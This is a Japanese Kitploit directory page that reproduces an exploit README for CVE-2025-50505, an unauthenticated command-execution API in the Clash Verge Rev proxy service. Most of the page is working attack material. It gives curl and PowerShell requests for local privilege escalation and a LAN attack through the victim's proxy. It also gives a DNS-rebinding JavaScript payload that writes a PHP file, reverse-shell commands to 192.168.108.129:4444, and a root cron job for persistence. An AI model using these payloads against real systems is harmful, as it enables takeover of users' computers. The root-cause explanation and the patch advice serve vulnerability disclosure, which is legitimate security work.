Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-50505 — CVE-2025-50505 の Clash Verge Rev におけるエクスプロイト。認証なしの API を介したローカル権限昇格とリモートコード実行を実証し、DNS リバインディングやリバースシェル技術を含みます。 | Kitploit
ツール/GitHubGitHub/a0yami/cve-2025-50505
特権昇格脆弱性分析エクスプロイト横移動ウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールレッドチーミングリモートアクセスツールペイロード開発DNS分析
207311ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
a0yami/cve-2025-50505

CVE-2025-50505

CVE-2025-50505 の Clash Verge Rev におけるエクスプロイト。認証なしの API を介したローカル権限昇格とリモートコード実行を実証し、DNS リバインディングやリバースシェル技術を含みます。

リポジトリを見る

CVE-2025-50505

認証されていないAPIがClash Verge Revにおける任意のコマンド実行および権限昇格を引き起こす

説明

この脆弱性は、デフォルトで昇格された権限でインストールされるclash-verge-serviceコンポーネントによって公開されている認証されていないAPIエンドポイントに起因します。この欠陥により、攻撃者は任意のコマンドを実行でき、2つの主要な攻撃シナリオ(ホストマシン上のローカル権限昇格(LPE)と特定の条件下でのリモートコード実行(RCE))につながります。

RCEベクターは、ユーザーがLAN接続を有効にしている場合、同じローカルエリアネットワーク(LAN)上の攻撃者によって悪用される可能性があります。さらに深刻なのは、DNSリバインディング攻撃と連鎖させることでパブリックインターネットからも悪用可能となり、攻撃者がユーザーに悪意のあるWebサイトを訪れさせるだけでブラウザのセキュリティポリシーをバイパスし、被害者のマシン上でコマンドを実行できるようになることです。

この脆弱性に関する最初の公の警告は、@KawaiiZapicによってX上で提供されました。

  • 影響を受けるソフトウェア: Clash Verge Rev <= v2.2.3
  • 影響を受けるプラットフォーム: Windows, macOS, Linux
  • 影響: ローカル権限昇格, リモートコード実行

技術的詳細

clash-verge-service コンポーネントは高い権限(root または SYSTEM)で実行され、認証されていない HTTP API を 127.0.0.1:33211 で公開しています。脆弱性は /start_clash エンドポイントにあり、Mihomo コアプロセスの起動を制御するための JSON ペイロードを受け入れます。

サービスはこのペイロードのいくつかのパラメータに基づいてコマンドを構築し実行します。その構造は次のようになります。

root@kitploit:~
<bin_path> -d <config_dir> -f <config_file> >> <log_file>

重要なのは、bin_path、config_dir、config_file、log_file の4つのパラメータすべてが攻撃者によって完全に制御可能であることです。Rust は古典的なコマンドインジェクション(例えば ; や | を使ったコマンドの連鎖)に対する固有の保護を提供していますが、攻撃者がコマンド全体の構造を制御できるため、2段階の攻撃により任意のコード実行を達成できます。

脆弱なコードの位置

  1. サービスプロセスはWarpフレームワークを介して127.0.0.1:33211で待ち受けており、/start_clash インターフェースには認証が実装されていません。

clash-verge-service/src/service/mod.rs

root@kitploit:~
// Line 29
const LISTEN_PORT: u16 = 33211;
// Line 77~80
let api_start_clash = warp::post()
    .and(warp::path("start_clash"))
    .and(warp::body::json())
    .map(move |body: StartBody| wrap_response!(COREMANAGER.lock().unwrap().start_clash(body)));
// Line 98~107
warp::serve(
    api_get_version
        .or(api_start_clash)
        .or(api_stop_clash)
        .or(api_stop_service)
        .or(api_get_clash)
        .or(api_exit_sys),
)
.run(([127, 0, 0, 1], LISTEN_PORT))
.await;
  1. start_clash() は start_mihomo() を呼び出し、start_mihomo() は bin_path を渡して関数 process::spawn_process(bin_path, &args, log) を呼び出します。 spawn_process() は std::Command::new(command) を呼び出してコマンドを実行します。

clash-verge-service/src/service/core.rs

root@kitploit:~
let pid = process::spawn_process(bin_path, &args, log)?;

clash-verge-service/src/service/process.rs

root@kitploit:~
let child = Command::new(command)
    .args(args)
    .stdout(log)
    .stderr(Stdio::null())
    .spawn()?;

攻撃ベクター 1: ローカル権限昇格 (LPE)

Linux

  1. 悪意のあるスクリプトを作成する: (一般ユーザー)
root@kitploit:~
echo -e '#!/bin/bash\nid > /root/pwned' > /home/user/pwn  
chmod +x /home/user/pwn 
  1. 認証されていないリクエストを送信する:
root@kitploit:~
curl -XPOST http://127.0.0.1:33211/start_clash \
     -H 'Content-Type: application/json' \
     -d '{
       "bin_path":"/home/user/pwn",
       "config_dir":"/tmp",
       "config_file":"/dev/null",
       "log_file":"/tmp/x"
     }'

  1. 権限昇格を確認する:
root@kitploit:~
sudo cat /root/pwned

Windows

pwn.bat:

root@kitploit:~
@echo off
whoami > C:\Users\xxx\Desktop\pwned.txt

test.ps1:

root@kitploit:~
$apiUrl = "http://127.0.0.1:33211/start_clash"
$headers = @{ "Content-Type" = "application/json" }
$body = @{
    bin_path    = "C:\Users\xxx\Desktop\pwn.bat"
    config_dir  = "C:\Windows\Temp"
    config_file = "NUL"
    log_file    = "C:\Windows\Temp\exploit.log"
} | ConvertTo-Json

Invoke-RestMethod -Uri $apiUrl -Method Post -Headers $headers -Body $body

攻撃ベクター 2: リモートコード実行 (RCE)

この脆弱性は、2つのシナリオでRCEにエスカレーションする可能性があります。

シナリオ A: プロキシの悪用によるLANからのRCE

ユーザーがClash Verge Revクライアント内で「Allow LAN」(局域网连接)オプションを有効にしている場合、アプリケーションのプロキシサーバーは同じローカルネットワーク上のすべてのデバイスからアクセス可能になります。同じLAN上の攻撃者は、露出した被害者のプロキシを経由して悪意のあるリクエストを送信することでこれを悪用できます。

root@kitploit:~
curl --proxy http://192.168.108.129:7897 \
     -XPOST http://127.0.0.1:33211/start_clash \
     -H 'Content-Type: application/json' \
     -d '{
         "bin_path":"/path/to/malicious/script",
         "config_dir":"/tmp",
         "config_file":"/dev/null",
         "log_file":"/tmp/x"
     }'

シナリオ B: DNSリバインディングによるパブリックインターネットからのRCE

より高度な攻撃として、LANアクセスを必要とせずにインターネットから実行することもできます。この攻撃チェーンは、DNSリバインディングと、「0.0.0.0-day」エクスプロイトとして知られる特定のブラウザの動作を組み合わせて利用します。

この攻撃の鍵は、Firefoxや特定のバージョンのChromiumがIPアドレス0.0.0.0を127.0.0.1のエイリアスとして扱うことです。これにより、攻撃者は同一生成元ポリシー(SOP)やプライベートネットワークアクセス(PNA)などの最新のブラウザセキュリティ機能をバイパスできます。

攻撃の流れは次のとおりです。

  1. 被害者は攻撃者が管理するドメイン(例: attacker.com)でホストされている悪意のあるWebサイトにアクセスします。
  2. 攻撃者のDNSサーバーは最初にattacker.comを実際のパブリックIPアドレスに解決します。悪意のあるページが被害者のブラウザに読み込まれます。
  3. ページ上のJavaScriptがさらにリクエストを行います。バックグラウンドで、攻撃者のDNSサーバーはattacker.comのIPを0.0.0.0に短いTTLで変更します。
  4. ブラウザのDNSキャッシュが期限切れになると、attacker.comを再解決し、今度は0.0.0.0を受け取ります。
  5. ブラウザ固有の動作により、リクエストはブロックされず、代わりに被害者のマシン上の127.0.0.1に直接送信されます。

リクエストのオリジンは依然としてattacker.comであるため、スクリプトはセキュリティ制限をバイパスし、127.0.0.1:33211の脆弱なclash-verge-service APIと直接通信し、リモートコード実行を達成します。

概念実証 (Singularity を使用した DNSリバインディング)

  1. singularity をインストールする
  2. ペイロードを使用する:
root@kitploit:~
/**
 * Clash-Verge-Rev payload
 */
const ClashVergeTrueLog = () => {

  const BODY = `{
    "bin_path": "/bin/true",
    "config_dir": "<?php phpinfo();?>",
    "config_file": "/dev/null",
    "log_file": "/var/www/html/exp.php"
  }`;

  function attack() {
    fetch("/start_clash", {
      method: "POST",
      headers: { 'Content-Type': 'application/json' },
      body:   BODY
    }).then(() => console.log("[Clash-True] sent"));
  }

  async function isService(headers,cookie,body){
    try {
      const r = await fetch("/version", {method:"GET"});
      const t = await r.text();
      return t.includes("Clash");
    } catch { return false; }
  }

  return {attack, isService};
};

Registry["Clash Verge Rev RCE"] = ClashVergeTrueLog();

PHPプローブを、境界マーカーをサポートする任意のスクリプト言語に置き換えてください。ルートシェルを取得したい場合は、次のセクションを参照してペイロードを変更してください。

  1. singularity-server を起動し、攻撃パネルを設定する
  • ./singularity-server --HTTPServerPort 33211
  • Target Host: 0.0.0.0
  • Rebinding Strategy: First then second
  • Attack Method: Inline Frame

https://github.com/user-attachments/assets/b0846486-cd24-4f3a-987e-54388c82c148

438500801-c4f8865c-8a37-4763-873f-b7d6057ac9e1

注記

注: Content-Type を application/json にカスタマイズする場合は、no-cors を設定しないでください。First then second は遅いですが、より安定したDNSリバインディングモードです。multiple answers を選択することもできますが、一部のパブリックDNSサーバーによって緩和され、攻撃が失敗する可能性があります。

リバースシェル (LAN)

MacOS および一部の Linux システム(例: Kali)には zsh がインストールされており、-d と -f でスクリプトを実行できます。

root@kitploit:~
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
  -H "Content-Type: application/json" \
  -d @- << 'EOF'
{
  "bin_path":   "/bin/echo",
  "config_dir": ";bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1';",
  "config_file":"/dev/null",
  "log_file":   "/tmp/rce_file"
}
EOF

# OR SET UP A CRON JOB
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
  -H "Content-Type: application/json" \
  -d @- << 'EOF'
{
  "bin_path":   "/bin/echo",
  "config_dir": ";python3 -c \"open('/etc/cron.d/rev_shell','w').write(\\\"* * * * * root bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1'\\n\\\");\"; rm /tmp/rce_file;",
  "config_file":"/dev/null",
  "log_file":   "/tmp/rce_file"
}
EOF

curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
  -H 'Content-Type: application/json' \
  -d '{"bin_path": "/bin/zsh","config_dir": "/tmp/rce_file","config_file": "/dev/null","log_file": ""}'

考察

  1. Windows の古いバージョンの Rust にはコマンドインジェクションの脆弱性 CVE-2024-24576 が存在します。そのため、脆弱な Rust ツールチェーンでコンパイルされた古いバージョンの Clash Verge Rev は、より直接的で簡単なリバースシェルエクスプロイトの影響を受ける可能性があります。この特定の Rust の脆弱性以外にも、任意のプロセス実行という根本的な問題は、リバースシェルを達成するための代替ベクターとしてさまざまな LOLBAS と連鎖させることも可能です。
  2. ログがフラッシュされた後、コマンドの出力は「Spawning process...」行の後に追加されます。bin_path を直接スクリプト(例: evil.sh)に設定すると失敗します。これは、シバン(#!/bin/bash)がないと、基盤となる OS がどのインタプリタを使用するかを判断できないためです。bash evil.sh を介して明示的に呼び出そうとしても、サービスによって渡される -d 引数が bash 自身によって無効なオプションとして解釈されるため失敗します。
root@kitploit:~
let _ = writeln!(log, "Spawning process: {} {}", command, args.join(" "));
    log.flush()?;

let child = Command::new(command)
    .args(args)
    .stdout(Stdio::from(log))
    .stderr(Stdio::null())
    .spawn()?;

これらの条件下でコマンドを正常に実行するために zsh が使用できることを提案してくれた @Esonhugh に感謝します。

参照

  • ブラウザにおけるDNSリバインディング
  • https://www.oligo.security/blog/0-0-0-0-day-exploiting-localhost-apis-from-the-browser
  • https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps

解決方法

最新バージョンに更新してください。

ツールをダウンロード